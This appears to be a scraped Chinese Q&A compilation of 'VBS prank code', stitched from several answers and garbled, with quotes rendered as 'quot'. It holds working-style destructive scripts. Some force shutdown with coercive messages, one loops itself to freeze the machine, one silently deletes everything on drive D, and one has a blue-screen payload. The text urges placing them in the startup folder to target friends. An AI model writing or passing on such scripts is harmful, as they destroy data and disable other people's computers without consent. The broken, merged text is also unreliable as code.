Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscriptquit；run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它**下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了；这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34，34，44，118，98，89，101，115，78，111，44，34，34；qwritebWriteLine quotmsgbox quot chr34 quot滚quot chr34 quot，vbokonly+vbinformation，quot chr34 quot360 Defenderquot chr34 quotDtxtquot，quotDvbsquotqstartrun quotDvbsquotEL。

01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 03；01 首先我们准备一个VBS文件，在其中加入VBS整人代码，如下图所示 02 然后我们双击VBS文件，你会看到如；首先创建 文本文档，将以下代码**on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你；建议你不懂vbs的话还是少碰为好，最起码你要学会基础记事本和word的话负责进去就OK了 word是无法编辑vbs的，编辑vbs是用记事本的后缀名是vbs就可以了整人的话你就要想方设法把你的vbs文件放入启动文件夹里当然。

这个仁兄，下次发代码的时候记得要换行，这一大片看得人眼睛疼代码简要说明该程序运行后 1全盘扫描，扫描你的所有磁盘，将所有的文件夹的名字修改为原文件夹名+exe 2然后将您的电脑的文件C\WINDOWS\system；vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；不仅特整人，还非常简单，仅仅6行 set s=createobjectquotwscriptshellquotlsfile=wscriptscriptfullname #39获得自己的名称 do #39死循环 srun lsfile #39自己运行自己 srun quotnotepadquot#39运行记事本 loop #39几秒就死机，哈。

不要太严重就行，弄个假提示骗骗朋友可以，千万不能编病毒任何病毒程序都是犯法的！教人的话，你不能教他编病毒程序，基本上教人的话，是没有太大问题的；慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光**了参考 vbs整人代码大全；Msgbox quotThere is not found CWINDOWSsystem32bootiniquot，48，quotError！quotset ws=createobjectquotwscriptshellquotwsrun quotshutdown s t 100 c quot chr34quot 温謦提醒！quot chr13chr13quot。